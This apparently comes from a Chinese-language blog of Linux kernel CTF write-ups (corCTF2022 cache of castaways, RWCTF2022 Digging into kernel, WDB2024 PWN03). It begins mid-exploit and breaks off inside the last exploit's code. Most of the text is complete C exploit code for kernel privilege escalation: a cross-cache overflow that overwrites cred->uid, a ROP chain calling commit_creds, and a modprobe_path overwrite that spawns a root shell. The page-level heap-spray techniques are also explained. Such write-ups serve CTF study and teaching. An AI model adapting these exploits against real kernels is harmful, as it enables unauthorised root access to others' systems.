add_rax_rcx_ret += kernel_offset; mov_mmrax_rbx_pop_rbx_ret += kernel_offset; pop_rbx_ret += kernel_offset; swapgs_ret += kernel_offset; iretq += kernel_offset; puts ("[*] Freeing user keys..." ); for (int i = 0 ; i < KEY_NUM; i++) { if (i != target_key) { key_unlink(i); } } sleep(1 ); puts ("[*] Spraying tty_file_private / tty_struct structures..." ); int tty_fd[TTY_NUM]; for (int i = 0 ; i < TTY_NUM; i++) { tty_fd[i] = open("/dev/ptmx" , O_RDWR | O_NOCTTY); if (tty_fd[i] < 0 ) { perror("[-] failed to open ptmx" ); } } puts ("[*] Leaking heap pointer..." ); size_t target_object = -1 ; int len = key_read(target_key, buf, sizeof (buf)); qword_dump("dump leak memory" , buf, 0x1000 ); for (int i = 0 ; i < len; i += 8 ) { struct tty_file_private *head = (void *) &buf[i]; if (is_dir_mapping_addr((size_t ) head->tty) && !(((size_t ) head->tty) & 0xFF ) && head->list .next == head->list .prev && head->list .prev != NULL ) { qword_dump("leak tty_struct addr from tty_file_private" , &buf[i], sizeof (struct tty_file_private)); target_object = (size_t ) head->tty; printf ("[+] tty_struct addr: %p\n" , target_object); break ; } } if (target_object == -1 ) { puts ("[-] failed to leak tty_struct addr." ); exit (-1 ); } puts ("[*] Freeing seq_operation structures..." ); for (int i = 2048 ; i < SEQ_NUM; i++) { close(seq_fd[i]); } bind_core(false , false ); puts ("[*] Creating poll threads..." ); for (int i = 0 ; i < 192 ; i++) { create_poll_thread(sizeof (struct poll_list) + sizeof (struct pollfd), 3000 ); } bind_core(true , false ); wait_poll_start(); puts ("[*] Freeing corrupted key..." ); key_unlink(target_key); sleep(1 ); puts ("[*] Overwriting poll_list next pointer..." ); char key[32 ] = {}; *(size_t *) &buf[0 ] = target_object - 0x18 ; for (int i = 0 ; i < KEY_NUM; i++) { setxattr("/tmp/exp" , "aaaaaa" , buf, 32 , XATTR_CREATE); key_alloc(i, key, 32 ); } puts ("[*] Freeing tty_struct structures..." ); for (int i = 0 ; i < TTY_NUM; i++) { close(tty_fd[i]); } sleep(1 ); int pipe_fd[PIPE_NUM][2 ]; puts ("[*] Spraying pipe_bufer structures..." ); for (int i = 0 ; i < PIPE_NUM; i++) { pipe(pipe_fd[i]); write(pipe_fd[i][1 ], "aaaaaa" , 6 ); } puts ("[*] Triggering arbitrary free..." ); join_poll_threads(NULL , NULL ); ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300 ); ((struct pipe_buf_operations *) &buf[0x300 ])->release = (void *) push_rsi_pop_rsp_ret; size_t *rop = (size_t *) buf; *rop++ = pop_r14_pop_r15_ret; rop++; rop++; *rop++ = pop_rdi_ret; *rop++ = init_cred; *rop++ = commit_creds; *rop++ = pop_rdi_ret; *rop++ = getpid(); *rop++ = find_task_by_vpid; *rop++ = pop_rcx_ret; *rop++ = 0x6e0 ; *rop++ = add_rax_rcx_ret; *rop++ = pop_rbx_ret; *rop++ = init_fs; *rop++ = mov_mmrax_rbx_pop_rbx_ret; rop++; *rop++ = swapgs_ret; *rop++ = iretq; *rop++ = (uint64_t ) get_shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; puts ("[*] Spraying ROP chain..." ); for (int i = 0 ; i < 31 ; i++) { key_alloc(i, buf, 1024 ); } puts ("[*] Hijacking control flow..." ); for (int i = 0 ; i < PIPE_NUM; i++) { close(pipe_fd[i][0 ]); close(pipe_fd[i][1 ]); } sleep(5 ); return 0 ; }
多试几次还是可以成功的。
corCTF2022 cache of castways 题目分析 保护机制
题目给了kconfig
文件,SMAP
, SMEP
, KPTI
, KASLR
及常用的保护机制,内核版本是 5.18.3
所以禁用了 msg_msg
。
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh exec qemu-system-x86_64 \ -m 4096M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \ -netdev user,id =net \ -device e1000, netdev=net \ -no-reboot \ -monitor /dev/null \ -cpu qemu64,+smep,+smap \ -initrd initramfs.cpio
逆向分析
在启动脚本里加载了一个名为 cache_of_castaway.ko
的 LKM,按惯例丢进 IDA,在模块初始化时注册了设备并创建了一个 kmem_cache
,分配的 object 的 size 为 512
,创建 flag 为 SLAB_ACCOUNT | SLAB_PANIC
,同时开启了 CONFIG_MEMCG_KMEM=y
,这意味着这是一个独立的 kmem_cache :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 init_module () { __int64 result; castaway_dev = 255 ; qword_8A8 = (__int64)"castaway" ; qword_8B0 = (__int64)&castaway_fops; _mutex_init(&castaway_lock, "&castaway_lock" , &_key_28999); if ( !(unsigned int )misc_register(&castaway_dev) && (castaway_arr = kmem_cache_alloc(kmalloc_caches[12 ], 3520LL )) != 0 && (castaway_cachep = kmem_cache_create("castaway_cache" , 0x200 LL, 1LL , 0x4040000 LL, 0LL )) != 0 ) { result = init_castaway_driver_cold(); } else { result = 0xFFFFFFFF LL; } return result; }
设备只定义了一个 ioctl,其中包含分配与编辑堆块的功能且都有锁,最多可以分配 400 个 object,没有释放功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 __fastcall castaway_ioctl (__int64 a1, int a2, __int64 a3) { __int64 v3; _QWORD *v5; unsigned __int64 v6[6 ]; v6[3 ] = __readgsqword(0x28 u); if ( a2 != 0xCAFEBABE ) { if ( copy_from_user(v6, a3, 24LL ) ) return -1LL ; mutex_lock(&castaway_lock); if ( a2 == 0xF00DBABE ) v3 = castaway_edit(v6[0 ], v6[1 ], v6[2 ]); else v3 = -1LL ; LABEL_5: mutex_unlock(&castaway_lock); return v3; } mutex_lock(&castaway_lock); v3 = castaway_ctr; if ( castaway_ctr <= 399 ) { ++castaway_ctr; v5 = (_QWORD *)(castaway_arr + 8 * v3); *v5 = kmem_cache_alloc(castaway_cachep, 0x400DC0 LL); if ( *(_QWORD *)(castaway_arr + 8 * v3) ) goto LABEL_5; } return ((__int64 (*)(void ))castaway_ioctl_cold)(); }
漏洞便存在于编辑堆块的 castaway_edit()
当中,在拷贝数据时会故意从 object + 6
的地方开始拷贝,从而存在一个 6 字节的溢出,这里因为是先拷贝到内核栈上再进行内核空间中的拷贝所以不会触发 hardened usercopy
的检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall castaway_edit (unsigned __int64 a1, size_t a2, __int64 a3) { char src[512 ]; unsigned __int64 v6; v6 = __readgsqword(0x28 u); if ( a1 > 0x18F ) return castaway_edit_cold(); if ( !*(_QWORD *)(castaway_arr + 8 * a1) ) return castaway_edit_cold(); if ( a2 > 0x200 ) return castaway_edit_cold(); _check_object_size(src, a2, 0LL ); if ( copy_from_user(src, a3, a2) ) return castaway_edit_cold(); memcpy ((void *)(*(_QWORD *)(castaway_arr + 8 * a1) + 6LL ), src, a2); return a2; }
编辑堆块时我们应当向内核中传入如下结构:
1 2 3 4 5 struct request { int64_t index; size_t size; void *buf; };
利用思路 由于我们的漏洞对象位于独立的 kmem_cache
中,因此其不会与内核中的其他常用结构体的分配混用,我们无法直接通过 slub 层的堆喷 + 堆风水来溢出到其他结构体来进行下一步利用;同时由于 slub 并不会像 glibc 的ptmalloc2 那样在每个 object 开头都有个存储数据的 header,而是将 next 指针放在一个随机的位置,我们很难直接溢出到下一个 object 的 next 域,由于 hardened freelist 的存在就算我们能溢出到下一个相邻 object 的 next 域也没法构造出一个合法的指针;而在我们的 slub 页面相邻的页面上的数据对我们来说也是未知的,直接溢出的话我们并不知道能够溢出到什么页面上。
让我们把目光重新放到 slub allocator 上,当 freelist page 已经耗空且 partial 链表也为空时(或者 kmem_cache
刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:
buddy system 的基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:
我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的 ,若其中的一份被我们的 kmem_cache
取走,而另一份被用于分配其他内核结构体的 kmem_cache
取走,则我们便有可能溢出到其他的内核结构体上 ——这便是 **cross-cache overflow
**。
具体的溢出对象也并不难想——6个字节刚好足够我们溢出到 cred
结构体的 uid
字段,完成提权,那么如何溢出到我们想要提权的进程的 cred 结构体呢?我们只需要先 fork() 堆喷 cred 耗尽 cred_jar
中 object,让其向 buddy system 请求新的页面即可,我们还需要先堆喷消耗 buddy system 中原有的页面,之后我们再分配 cred 和题目 object,两者便有较大概率相邻。
cred
的大小为 192
,cred_jar
向 buddy system 单次请求的页面数量为 1,足够分配 21 个 cred,因此我们不需要堆喷太多 cred
便能耗尽 cred_jar
,不过 fork()
在执行过程中会产生很多的”噪声“(即额外分配一些我们不需要的结构体,从而影响页布局),因此这里我们改用 clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)
。
使用 setsockopt()
进行页喷射的方法:当我们创建一个 protocol 为 PF_PACKET
的 socket 之后,先调用 setsockopt()
将 PACKET_VERSION
设为 TPACKET_V1
/ TPACKET_V2
,再调用 setsockopt()
提交一个 PACKET_TX_RING
,此时便存在如下调用链:
1 2 3 4 5 __sys_setsockopt() sock->ops->setsockopt() packet_setsockopt() packet_set_ring() alloc_pg_vec()
在 alloc_pg_vec()
中会创建一个 pgv
结构体,用以分配 tp_block_nr
份 2 order 张内存页,其中 order
由 tp_block_size
决定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static struct pgv *alloc_pg_vec (struct tpacket_req *req, int order) { unsigned int block_nr = req->tp_block_nr; struct pgv *pg_vec ; int i; pg_vec = kcalloc(block_nr, sizeof (struct pgv), GFP_KERNEL | __GFP_NOWARN); if (unlikely(!pg_vec)) goto out; for (i = 0 ; i < block_nr; i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order); if (unlikely(!pg_vec[i].buffer)) goto out_free_pgvec; } out: return pg_vec; out_free_pgvec: free_pg_vec(pg_vec, order, block_nr); pg_vec = NULL ; goto out; }
在 alloc_one_pg_vec_page()
中会直接调用 __get_free_pages()
向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:
1 2 3 4 5 6 7 8 9 10 11 static char *alloc_one_pg_vec_page (unsigned long order) { char *buffer; gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP | __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY; buffer = (char *) __get_free_pages(gfp_flags, order); if (buffer) return buffer; }
pgv
中的页面会在 socket 被关闭后释放,这也方便我们后续的页级堆风水,不过需要注意的是低权限用户无法使用该函数,但是我们可以通过开辟新的命名空间来绕过该限制。
这里需要注意的是我们提权的进程不应当和页喷射的进程在同一命名空间内 ,因为后者需要开辟新的命名空间,而我们应当在原本的命名空间完成提权,因此这里选择新开一个进程进行页喷射,并使用管道在主进程与喷射进程间通信。(如果你忘了这一步,就会得到一个 65534
的 uid 然后冥思苦想半天…)。
setsockopt()
也可以帮助我们完成页级堆风水 ,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt()
便相当于获取到了一块近乎物理连续的内存 (为什么是”近乎连续“是因为大量的 setsockopt()
流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)
本题环境中题目的 kmem_cache
单次会向 buddy system 请求一张内存页,而由于 buddy system 遵循 LIFO,因此我们可以:
先分配大量的单张内存页,耗尽 buddy 中的 low-order pages。
间隔一张内存页释放掉部分单张内存页,之后堆喷 cred,这样便有几率获取到我们释放的单张内存页。
释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页。
利用模块中漏洞进行越界写,篡改 cred->uid
,完成提权。
我们的子进程需要轮询等待自己的 uid 变为 root,这里选择用一个新的管道在主进程与子进程间通信,当子进程从管道中读出1字节时便开始检查自己是否成功提权,若未提权则直接 sleep 即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <sched.h> #include <time.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> #define PGV_CRED_START (PGV_PAGE_NUM / 2) #define CRED_SPRAY_NUM 514 #define VUL_OBJ_NUM 400 #define VUL_OBJ_SIZE 512 #define VUL_OBJ_PER_SLUB 8 #define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB) struct castaway_request { int64_t index; size_t size; void *buf; }; int dev_fd;void err_exit (char *msg) { printf ("\033[31m\033[1m[x] Error: %s\033[0m\n" , msg); exit (EXIT_FAILURE); } void alloc (void ) { ioctl(dev_fd, 0xCAFEBABE ); } void edit (int64_t index, size_t size, void *buf) { struct castaway_request r = { .index = index, .size = size, .buf = buf }; ioctl(dev_fd, 0xF00DBABE , &r); } char child_pipe_buf[1 ];int check_root_pipe[2 ];char bin_sh_str[] = "/bin/sh" ;char *shell_args[] = {bin_sh_str, NULL };struct timespec timer = { .tv_sec = 100000000 , .tv_nsec = 0 , }; int waiting_for_root_fn (void *args) { __asm__ volatile ( " lea rax, [check_root_pipe]; " " mov edi, dword ptr [rax]; " " mov rsi, child_pipe_buf; " " mov edx, 1; " " xor eax, eax; " " syscall; " " mov eax, 102; " " syscall; " " cmp eax, 0; " " jne failed; " " lea rdi, [bin_sh_str]; " " lea rsi, [shell_args]; " " xor edx, edx; " " mov eax, 59; " " syscall; " "failed: " " lea rdi, [timer]; " " xor esi, esi; " " mov eax, 35; " " syscall; " ) ; return 0 ; } __attribute__((naked)) long simple_clone (int flags, int (*fn)(void *)) { __asm__ volatile ( " mov r15, rsi; " " xor esi, esi; " " xor edx, edx; " " xor r10d, r10d; " " xor r8d, r8d; " " xor r9d, r9d; " " mov eax, 56; " " syscall; " " cmp eax, 0; " " je child_fn; " " ret; " "child_fn: " " jmp r15; " ) ;} void unshare_setup (void ) { char edit[0x100 ]; int tmp_fd; unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); tmp_fd = open("/proc/self/setgroups" , O_WRONLY); write(tmp_fd, "deny" , strlen ("deny" )); close(tmp_fd); tmp_fd = open("/proc/self/uid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getuid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getgid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); } #define PGV_PAGE_NUM 1000 #define PACKET_VERSION 10 #define PACKET_TX_RING 13 struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; }; struct pgv_page_request { int idx; int cmd; unsigned int size; unsigned int nr; }; enum { CMD_ALLOC_PAGE, CMD_FREE_PAGE, CMD_EXIT, }; enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, }; int cmd_pipe_req[2 ], cmd_pipe_reply[2 ];int create_socket_and_alloc_pages (unsigned int size, unsigned int nr) { struct tpacket_req req ; int socket_fd, version; int ret; socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0 ) { printf ("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n" ); ret = socket_fd; goto err_out; } version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof (version)); if (ret < 0 ) { printf ("[x] failed at setsockopt(PACKET_VERSION)\n" ); goto err_setsockopt; } memset (&req, 0 , sizeof (req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000 ; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof (req)); if (ret < 0 ) { printf ("[x] failed at setsockopt(PACKET_TX_RING)\n" ); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } int alloc_page (int idx, unsigned int size, unsigned int nr) { struct pgv_page_request req = { .idx = idx, .cmd = CMD_ALLOC_PAGE, .size = size, .nr = nr, }; int ret; write(cmd_pipe_req[1 ], &req, sizeof (struct pgv_page_request)); read(cmd_pipe_reply[0 ], &ret, sizeof (ret)); return ret; } int free_page (int idx) { struct pgv_page_request req = { .idx = idx, .cmd = CMD_FREE_PAGE, }; int ret; write(cmd_pipe_req[1 ], &req, sizeof (req)); read(cmd_pipe_reply[0 ], &ret, sizeof (ret)); return ret; } void spray_cmd_handler (void ) { struct pgv_page_request req ; int socket_fd[PGV_PAGE_NUM]; int ret; unshare_setup(); do { read(cmd_pipe_req[0 ], &req, sizeof (req)); if (req.cmd == CMD_ALLOC_PAGE) { ret = create_socket_and_alloc_pages(req.size, req.nr); socket_fd[req.idx] = ret; } else if (req.cmd == CMD_FREE_PAGE) { ret = close(socket_fd[req.idx]); } else { printf ("[x] invalid request: %d\n" , req.cmd); } write(cmd_pipe_reply[1 ], &ret, sizeof (ret)); } while (req.cmd != CMD_EXIT); } void prepare_pgv_system (void ) { pipe(cmd_pipe_req); pipe(cmd_pipe_reply); if (!fork()) { spray_cmd_handler(); } } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); } int main () { char buf[0x1000 ]; bind_core(0 ); dev_fd = open("/dev/castaway" , O_RDWR); if (dev_fd < 0 ) { err_exit("FAILED to open castaway device!" ); } prepare_pgv_system(); puts ("[*] spraying pgv pages..." ); for (int i = 0 ; i < PGV_PAGE_NUM; i++) { if (alloc_page(i, getpagesize(), 1 ) < 0 ) { printf ("[x] failed at no.%d socket\n" , i); err_exit("FAILED to spray pages via socket!" ); } } puts ("[*] freeing for cred pages..." ); for (int i = 1 ; i < PGV_PAGE_NUM; i += 2 ) { free_page(i); } puts ("[*] spraying cred..." ); pipe(check_root_pipe); for (int i = 0 ; i < CRED_SPRAY_NUM; i++) { if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0 ) { printf ("[x] failed at cloning %d child\n" , i); err_exit("FAILED to clone()!" ); } } puts ("[*] freeing for vulnerable pages..." ); for (int i = 0 ; i < PGV_PAGE_NUM; i += 2 ) { free_page(i); } puts ("[*] trigerring vulnerability in castaway kernel module..." ); memset (buf, 0 , sizeof (buf)); *(uint32_t *) &buf[VUL_OBJ_SIZE - 6 ] = 1 ; for (int i = 0 ; i < VUL_OBJ_NUM; i++) { alloc(); edit(i, VUL_OBJ_SIZE, buf); } puts ("[*] notifying child processes and waiting..." ); write(check_root_pipe[1 ], buf, CRED_SPRAY_NUM); sleep(100000000 ); return 0 ; }
D^3CTF2023 d3kcache 题目分析 利用思路 exp RWCTF2022 Digging into kernel 1 & 2 题目分析 start.sh
1 2 3 4 5 6 7 8 9 10 #!/bin/sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \ -cpu kvm64,+smep,+smap \ -monitor null \ --nographic \ -s
逆向分析
1 2 3 4 5 6 7 8 9 10 11 int __cdecl xkmod_init () { kmem_cache *v0; printk(&unk_1E4); misc_register(&xkmod_device); v0 = (kmem_cache *)kmem_cache_create("lalala" , 192LL , 0LL , 0LL , 0LL ); buf = 0LL ; s = v0; return 0 ; }
1 2 3 4 int __fastcall xkmod_release (inode *inode, file *file) { return kmem_cache_free(s, buf); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __fastcall xkmod_ioctl (__int64 a1, int a2, __int64 a3) { __int64 data; unsigned int idx; unsigned int size; unsigned __int64 v6; v6 = __readgsqword(0x28 u); if ( a3 ) { copy_from_user(&data, a3, 0x10 LL); if ( a2 == 0x6666666 ) { if ( buf && size <= 0x50 && idx <= 0x70 ) { copy_from_user((char *)buf + (int )idx, data, (int )size); return ; } } else { if ( a2 != 0x7777777 ) { if ( a2 == 0x1111111 ) buf = (void *)kmem_cache_alloc(s, 0xCC0 LL); return ; } if ( buf && size <= 0x50 && idx <= 0x70 ) { ((void (__fastcall *)(__int64, char *, int ))copy_to_user)(data, (char *)buf + (int )idx, size); return ; } } xkmod_ioctl_cold(); } }
利用思路 关于内核基址获取,在内核堆基址(page_offset_base
) + 0x9d000 处存放着 secondary_startup_64
函数的地址,而我们可以从 free object
的 next
指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000
处的 object
以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define __PAGE_OFFSET page_offset_base #define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET) #define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET)) trampoline_header = (struct trampoline_header *) __va(real_mode_header->trampoline_header); ... trampoline_header->start = (u64) secondary_startup_64; [......] .text:FFFFFFFF81000030 ; void secondary_startup_64 () [......] pwndbg>x/40gx (0xffff9f5d40000000 +0x9d000 -0x20 0xffff9f5d4009cfe0 : 0X0000000000000000 0X0000000000000000 0xffff9f5d4009cff0 : 0X0000000000000000 0X0000000005c0c067 0xffff9f5d4009d000 : 0xffffffff97c00030 0X0000000000000901 0xffff9f5d4009d010 : 0X00000000000006b0 0X0000000000000000 0xffff9f5d4009d020 : 0X0000000000000000 0X0000000000000000
至于 page_offset_base
可以通过 object
上的 free list
泄露的堆地址与上 0xFFFFFFFFF0000000
获取。不同版本可查看vmmap
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/io.h> size_t modprobe_path = 0xFFFFFFFF82444700 ;void qword_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("[*] %s:\n" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } struct Data { size_t *buf; u_int32_t offset; u_int32_t size; }; void alloc_buf (int fd, struct Data *data) { ioctl(fd, 0x1111111 , data); } void write_buf (int fd, struct Data *data) { ioctl(fd, 0x6666666 , data); } void read_buf (int fd, struct Data *data) { ioctl(fd, 0x7777777 , data); } int main () { int xkmod_fd[5 ]; for (int i = 0 ; i < 5 ; i++) { xkmod_fd[i] = open("/dev/xkmod" , O_RDONLY); if (xkmod_fd[i] < 0 ) { printf ("[-] %d Failed to open xkmod." , i); exit (-1 ); } } struct Data data = {malloc (0x1000 ), 0 , 0x50 }; alloc_buf(xkmod_fd[0 ], &data); close(xkmod_fd[0 ]); read_buf(xkmod_fd[1 ], &data); qword_dump("buf" , data.buf, 0x50 ); size_t page_offset_base = data.buf[0 ] & 0xFFFFFFFFF0000000 ; printf ("[+] page_offset_base: %p\n" , page_offset_base); data.buf[0 ] = page_offset_base + 0x9d000 - 0x10 ; write_buf(xkmod_fd[1 ], &data); alloc_buf(xkmod_fd[1 ], &data); alloc_buf(xkmod_fd[1 ], &data); data.size = 0x50 ; read_buf(xkmod_fd[1 ], &data); qword_dump("buf" , data.buf, 0x50 ); size_t kernel_offset = data.buf[2 ] - 0xffffffff81000030 ; printf ("kernel offset: %p\n" , kernel_offset); modprobe_path += kernel_offset; close(xkmod_fd[1 ]); data.buf[0 ] = modprobe_path - 0x10 ; write_buf(xkmod_fd[2 ], &data); alloc_buf(xkmod_fd[2 ], &data); alloc_buf(xkmod_fd[2 ], &data); strcpy ((char *) &data.buf[2 ], "/home/shell.sh" ); write_buf(xkmod_fd[2 ], &data); if (open("/home/shell.sh" , O_RDWR) < 0 ) { system("echo '#!/bin/sh' >> /home/shell.sh" ); system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh" ); system("chmod +x /home/shell.sh" ); } system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake" ); system("chmod +x /home/fake" ); system("/home/fake" ); return 0 ; }
WDB2024 PWN03 利用思路 一道非常简单的内核题,基本上和RWCTF2022 Digging into kernel 1 & 2
是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp
贴在下面,但是建议大家自己写一个exp。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/io.h> size_t modprobe_path = 0xFFFFFFFF81E58B80 ;void qword_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("[*] %s:\n" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } void alloc_buf (int fd, int size) { printf ("[+] kmalloc %d\n" , size); ioctl(fd, 0x0 , size); } void free_buf (int fd) { printf ("[+] kfree\n" ); ioctl(fd, 0x1 , 0 ); } void read_buf (int fd, size_t * buf, int size) { printf ("[+] copy_to_user %d\n" , size); read(fd, buf, size); qword_dump("read_buf" , buf, size); } void write_buf (int fd, size_t * buf, int size) { printf ("[+] copy_from_user %d\n" , size); qword_dump("write_buf" , buf, size); write(fd, buf, size); } int main () { size_t 